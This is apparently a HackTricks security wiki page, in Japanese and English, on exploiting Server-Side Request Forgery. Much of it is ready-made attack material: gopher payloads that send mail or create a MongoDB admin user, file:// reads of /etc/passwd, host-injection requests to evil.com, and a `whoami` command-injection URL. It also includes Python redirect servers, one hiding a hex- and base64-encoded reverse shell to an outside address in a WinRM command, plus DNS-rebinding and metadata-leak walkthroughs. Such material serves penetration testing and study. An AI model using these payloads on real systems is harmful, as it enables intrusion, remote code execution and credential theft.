SSRF (Server Side Request Forgery)

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

攻撃者が Server-side Request Forgery (SSRF) を利用して、サーバー側のアプリケーションに任意の HTTP リクエスト を攻撃者の指定するドメインへ送らせることで発生する脆弱性です。 この脆弱性により、サーバーは攻撃者により指示された任意の外部リクエストにさらされます。

SSRF のキャプチャ

まず最初に行うべきは、自分が発生させた SSRF のやり取りをキャプチャすることです。HTTP や DNS のやり取りをキャプチャするには、以下のようなツールを使用できます:

ホワイトリスト化されたドメインのバイパス

通常、SSRF は特定のホワイトリスト化されたドメインや URL のみで機能することが多いです。以下のページには、そのホワイトリストを回避するために試すべきテクニックのまとめがあります:

URL Format Bypass

Open Redirect を利用したバイパス

サーバーが正しく保護されていても、ウェブページ内の Open Redirect を悪用することで制限をすべてバイパスできる可能性があります。ウェブページが同一ドメインへの SSRF を許可し、かつおそらく**リダイレクトをフォローする（follow redirects）**ため、Open Redirect を利用してサーバーに内部リソースへアクセスさせることが可能です。
詳しくは: [https://portswigger.net/web-security/ssrf]

プロトコル

  • file://
  • URL スキーム file:// が参照され、直接 /etc/passwd を指す例: file:///etc/passwd
  • dict://
  • DICT の URL スキームは、DICT プロトコル経由で定義やワードリストにアクセスするために使用されます。例では特定の単語、データベース、エントリ番号を狙った URL の構築と、攻撃者提供の認証情報で DICT サーバーに接続するために悪用されうる PHP スクリプトの事例が示されています: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • Secure shell 上の安全なファイル転送プロトコルとしての SFTP を示しており、PHP スクリプトが悪意ある SFTP サーバーに接続するよう悪用される例が示されています: url=sftp://generic.com:11111/
  • TFTP://
  • UDP 上で動作する Trivial File Transfer Protocol (TFTP) に関する記述で、PHP スクリプトが TFTP サーバーへリクエストを送信する例が示されています。例では ‘generic.com’ のポート ‘12346’ に対して ‘TESTUDPPACKET’ ファイルを要求しています: ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Lightweight Directory Access Protocol (LDAP) に関するセクションで、IP ネットワーク上の分散ディレクトリ情報サービスの管理・アクセスに使われることが強調されています。ローカルホスト上の LDAP サーバーと対話する例: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • SSRF 脆弱性を悪用してローカルホストの SMTP サービスとやり取りする手法が説明されています。内部ドメイン名を明らかにする手順や、その情報に基づく追加調査の方法が含まれます。
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF bypass
  • SSRFがcurlによって実行される場合、curlにはURL globbingと呼ばれる機能があり、bypass WAFsに役立つことがあります。例えばこのwriteupにはpath traversal via file protocolの例が載っています：
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Gopherプロトコルは、サーバーとの通信で指定するIP、port、bytesを指定できる点が説明され、Gopherusやremote-method-guesserのようなツールでペイロードを作成できることが述べられています。2つの異なる使用例が示されています：

Gopher://

このプロトコルを使うと、サーバーに送信させたいIP、port、bytesを指定できます。これにより、基本的にSSRFを利用して任意のTCPサーバーと通信することが可能です（ただし最初にそのサービスとどうやり取りするかを知っている必要があります）。
幸いにも、Gopherusを使えば複数のサービス向けのペイロードを作成できます。さらに、remote-method-guesserは_gopher_ペイロードを_Java RMI_サービス向けに作成するために使用できます。

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — 1337へバックコネクト

<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB – username=admin、password=admin123、permission=administrator を持つユーザーを作成する

# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF（Referrer header 等）

サーバー上の分析ソフトウェアは受信リンクを追跡するために Referrer header をログに残すことが多く、その慣行が意図せずアプリケーションを Server-Side Request Forgery (SSRF) の脆弱性にさらすことがある。これは当該ソフトウェアが Referrer header に記載された外部URLを訪問して参照元サイトのコンテンツを解析する可能性があるためである。これらの脆弱性を発見するには、analytics ツールが Referer header を処理する方法を利用して潜在的な SSRF 攻撃面を特定する Burp Suite プラグイン “Collaborator Everywhere” が推奨される。

SSRF（証明書の SNI データ経由）

簡単な設定で任意のバックエンドへの接続を可能にしてしまうミスコンフィギュレーションの例を、以下の Nginx 設定例で示す:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

この構成では、Server Name Indication (SNI) フィールドの値がバックエンドのアドレスとして直接使用されます。この設定は Server-Side Request Forgery (SSRF) の脆弱性を生み、SNI フィールドに目的の IP アドレスやドメイン名を指定するだけで悪用可能です。以下は、openssl コマンドを使用して internal.host.com のような任意のバックエンドへの接続を強制する悪用例です：

openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

SSRF via TLS AIA CA Issuers (Java mTLS)

Some TLS stacks will auto-download missing intermediate CAs using the Authority Information Access (AIA) → CA Issuers URI inside the peer certificate. In Java, enabling -Dcom.sun.security.enableAIAcaIssuers=true while running an mTLS service makes the server dereference attacker-controlled URIs from the client certificate during the handshake, before any HTTP logic runs.

  • Requirements: mTLS enabled, Java AIA fetching enabled, attacker can present a client cert with a crafted AIA CA Issuers URI.
  • Triggering SSRF (Java 21 example):
java -Djava.security.debug=certpath \
-Dcom.sun.security.enableAIAcaIssuers=true \
-Dhttp.agent="AIA CA Issuers PoC" -jar server.jar
# Attacker cert AIA: http://localhost:8080
nc -l 8080 -k                      # observe the outbound fetch
curl https://mtls-server:8444 --key client-aia-key.pem --cert client-aia-localhost-cert.pem --cacert ca-cert.pem

The Java certpath debug output shows CertStore URI:http://localhost:8080, and nc captures the HTTP request with the controllable User-Agent from -Dhttp.agent, proving SSRF during certificate validation.

  • DoS via file://: setting AIA CA Issuers to file:///dev/urandom on Unix-like hosts makes Java treat it as a CertStore and read unbounded random bytes, keeping a CPU core busy and blocking subsequent connections even after the client disconnects.

SSRF via CSS Pre-Processors

LESS is a popular CSS pre-processor that adds variables, mixins, functions and the powerful @import directive. During compilation the LESS engine will fetch the resources referenced in @import statements and embed (“inline”) their contents into the resulting CSS when the (inline) option is used.

Check how to exploit it in:

LESS Code Injection

Wget file upload

SSRF with Command Injection

It might be worth trying a payload like: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami`

PDFs Rendering

If the web page is automatically creating a PDF with some information you have provided, you can insert some JS that will be executed by the PDF creator itself (the server) while creating the PDF and you will be able to abuse a SSRF. Find more information here.

From SSRF to DoS

Create several sessions and try to download heavy files exploiting the SSRF from the sessions.

SSRF PHP Functions

Check the following page for vulnerable PHP and even Wordpress functions:

PHP SSRF

SSRF Redirect to Gopher

For some exploitations you might need to send a redirect response (potentially to use a different protocol like gopher). Here you have different python codes to respond with a redirect:

# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()

from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

誤設定された proxies による SSRF

トリック from this post.

Flask

Flask proxy の脆弱性があるコード ```python from flask import Flask from requests import get

app = Flask(‘main’) SITE_NAME = ‘https://google.com’

@app.route(‘/’, defaults={‘path’: ‘’}) @app.route(‘/path:path’)

def proxy(path): return get(f’{SITE_NAME}{path}’).content

if name == “main”: app.run(threaded=False)

</details>

Flaskは先頭文字として**`@`**を使用でき、これにより**initial host name the username**を作成して新しいものを注入できます。攻撃リクエスト:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

脆弱なコード：

リクエストのパスの先頭を文字**;で始めることが可能であることが判明し、それにより@**を利用して新しいホストを注入しアクセスできます。攻撃リクエスト：

GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP 組み込み Web サーバ

脆弱な PHP コード ```php

$proxy_site = $site.$current_uri; var_dump($proxy_site);

echo “\n\n”;

$response = file_get_contents($proxy_site); var_dump($response); ?>

</details>

PHPはURLのパスで**スラッシュの前に文字 `*` を置く**ことを許可しますが、いくつか制限があります。例えば、それはルートパス名 `/` でのみ使用でき、最初のスラッシュの前にドット `.` を置くことは許されないため、例えばドットなしの16進エンコードされたIPアドレスを使用する必要があります:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

リクエストラインで絶対URLを受け付けるリバースプロキシ（open forward-proxy）

一部のリバースプロキシはabsolute-form request lines（GET http://10.0.0.5:8080/path HTTP/1.1）を受け入れ、URLを拒否したり設定されたアップストリームに書き換えたりする代わりにそのままバックエンドへ転送します。これによりリバースプロキシはpre-auth forward proxy with full-read SSRFとなり、通常はインターネットから到達できないlocalhostにバインドされたサービスへのアクセスも可能になります。

主なポイント:

  • Request line controls destination: 絶対URLのauthorityが通常のルーティングを上書きします。Hostヘッダは通常無視されます。
  • Full response returned: 内部ホストからのレスポンスがストリームで返されるため、ブラインドプローブではなく列挙や対話（例: SOAP/Axis2, Keycloak, admin consoles）が可能です。
  • Works on localhost: GET http://127.0.0.1:port/ HTTP/1.1\r\nHost: public-host\r\n\r\n はループバック専用のリスナーに到達するのに十分です。
  • Abuse as pivot: 他の脆弱性（例: upload endpoints）と組み合わせてホスト内サービスに到達するためのピボットとして悪用できます。

Minimal probe:

GET http://127.0.0.1:8080/ HTTP/1.1
Host: whatever
Connection: close

もし 400 の代わりに upstream response が見える場合、そのアプライアンスは open proxy として動作しています。

DNS Rebidding CORS/SOP バイパス

CORS/SOP のために local IP からコンテンツを exfiltrate できない問題がある場合、DNS Rebidding を使ってその制限を回避できます:

CORS - Misconfigurations & Bypass

自動化された DNS Rebidding

Singularity of Origin は DNS rebinding を実行するためのツールです。攻撃者が管理する DNS 名の IP アドレスをターゲットマシンの IP アドレスに rebind し、ターゲット上の脆弱なソフトウェアを悪用するためのペイロードを配信するために必要なコンポーネントが含まれています。

公開稼働中のサーバーもこちらにあります: http://rebind.it/singularity.html

DNS Rebidding + TLS Session ID/Session ticket

要件:

  • SSRF
  • Outbound TLS sessions
  • ローカルポート上のサービス

攻撃手順:

  1. ユーザー/ボットに攻撃者が制御するドメインへアクセスさせる。
  2. DNS の TTL を 0 秒に設定する（被害者はそのドメインの IP をすぐに再確認する）。
  3. 被害者と攻撃者のドメイン間で TLS 接続が確立される。攻撃者は Session ID または Session Ticket 内にペイロードを挿入する。
  4. ドメインは自身に対する無限ループのリダイレクトを開始する。目的はユーザー/ボットがドメインへアクセスし続け、再度そのドメインの DNS 問い合わせを行うようにすること。
  5. DNS 問い合わせ時に今度はプライベート IP アドレス（例: 127.0.0.1）が返される。
  6. ユーザー/ボットは TLS 接続を再確立しようとし、その際に Session ID/Ticket ID（攻撃者のペイロードが含まれていたもの）を送信する。つまり、ユーザー/ボットを自己攻撃させることに成功する。

注意: この攻撃中に localhost:11211（memcache）を攻撃したい場合、被害者に最初の接続を www.attacker.com:11211 として確立させる必要があります（ポートは常に同じである必要があります）。
この攻撃を実行するためのツール: https://github.com/jmdx/TLS-poison/
詳細はこの攻撃を解説したトークも参照してください: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

ブラインド SSRF とそうでない SSRF の違いは、ブラインドでは SSRF リクエストのレスポンスを確認できない点です。そのため、既知の脆弱性にしか活用できず、悪用がより難しくなります。

Time based SSRF

サーバーからのレスポンス時間を確認することで、リソースが存在するかどうかを判別できる場合があります（存在するリソースにアクセスする方が、存在しないリソースにアクセスするより時間がかかるかもしれません）。

ブラインドからステータスコードの悪用へ

このblog postによれば、ターゲットの URL が 200 ステータスを返しても（AWS metadata のように）データが適切にフォーマットされておらず、アプリが表示を拒否するためにブラインド SSRF が発生することがあります。

しかし、SSRF の中で 305〜309 のリダイレクトレスポンスを返すと、アプリケーションがこれらのリダイレクトを追従しつつエラーモードに入り、データのフォーマットチェックを行わなくなり、そのまま出力してしまう可能性があることが判明しました。

これを悪用するために使われた Python サーバーは以下の通りです：

@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

手順:

  • 最初に 302 がアプリにリダイレクトの追従を開始させる。
  • その後、305 → 306 → 307 → 308 → 309 → 310 を受け取る。
  • 5番目の奇妙なコードの後、PoC はついに 302 → 169.254.169.254 → 200 OK を返す。

ターゲット内で起きていること:

  • libcurl 自体は 305–310 を追従する。未知のコードを単に “follow” に正規化しているだけだ。
  • N 個の奇妙なリダイレクト（ここでは ≥ 5）の後、アプリケーション自身のラッパーが「何かがおかしい」と判断してデバッグ用のエラーモードに切り替える。
  • そのモードでは、全リダイレクトチェーンと最終ボディを外部呼び出し元にダンプする。
  • 結果: attacker はすべてのヘッダ + metadata JSON を見ることができ、任務完了。

これは以前は leak できなかったステータスコード（例えば 200）の leak に興味深い。ただし、もし何らかの方法でレスポンスのステータスコードを選択できるなら（AWS metadata が 500 を返すように決められると想像してみてください）、レスポンスの内容を直接 leak するステータスコードが存在するかもしれない。

HTML-to-PDF レンダラーを blind SSRF ガジェットとして

Libraries such as TCPDF (and wrappers like spipu/html2pdf) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each <img> or <link rel="stylesheet"> attribute is resolved server-side via cURL, getimagesize(), or file_get_contents(), so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.

<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
  • TCPDF 6.10.0 は各 <img> リソースに対して複数回の取得を試みるため、単一の payload で複数のリクエストを生成できる（タイミングベースのポートスキャンで有用）。
  • html2pdf は <img> に関して TCPDF の挙動をコピーし、Css::extractStyle() 内で CSS を取得する処理を追加します。これは浅いスキームチェックの後に単純に file_get_contents($href) を呼び出します。これを悪用してループバックサービス、RFC1918 範囲、またはクラウドのメタデータエンドポイントにアクセスできます。
  • この SSRF プリミティブを HTML-to-PDF path traversal tricks と組み合わせることで、内部 HTTP レスポンスと PDF にレンダリングされたローカルファイルの両方を leak できます。

防御者はレンダリング前に外部 URL を除去するかレンダラーをネットワークサンドボックスで隔離するべきです；それまでは PDF ジェネレーターをブラインド SSRF プロキシとして扱ってください。

Cloud SSRF Exploitation

もしクラウド環境内で動作しているマシンに SSRF 脆弱性を見つけた場合、クラウド環境に関する興味深い情報や認証情報を取得できる可能性があります：

Cloud SSRF

SSRF Vulnerable Platforms

既知のいくつかのプラットフォームには SSRF の脆弱性が存在するか、過去に存在していました。以下を確認してください：

SSRF Vulnerable Platforms

Tools

SSRFMap

SSRF 脆弱性を検出・悪用するツール

Gopherus

このツールは以下向けの Gopher ペイロードを生成します：

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser は一般的な Java RMI 脆弱性に対する攻撃操作をサポートする脆弱性スキャナです。利用可能な多くの操作はリクエストされた操作用の --ssrf オプションをサポートし、SSRF ペイロードを生成します。--gopher オプションと組み合わせることで、そのまま使える gopher ペイロードを直接生成できます。

SSRF Proxy

SSRF Proxy は、Server-Side Request Forgery (SSRF) に脆弱な HTTP サーバーを通してクライアントの HTTP トラフィックをトンネリングするために設計されたマルチスレッドの HTTP プロキシサーバーです。

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack \xc2\xb7 GitHub

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする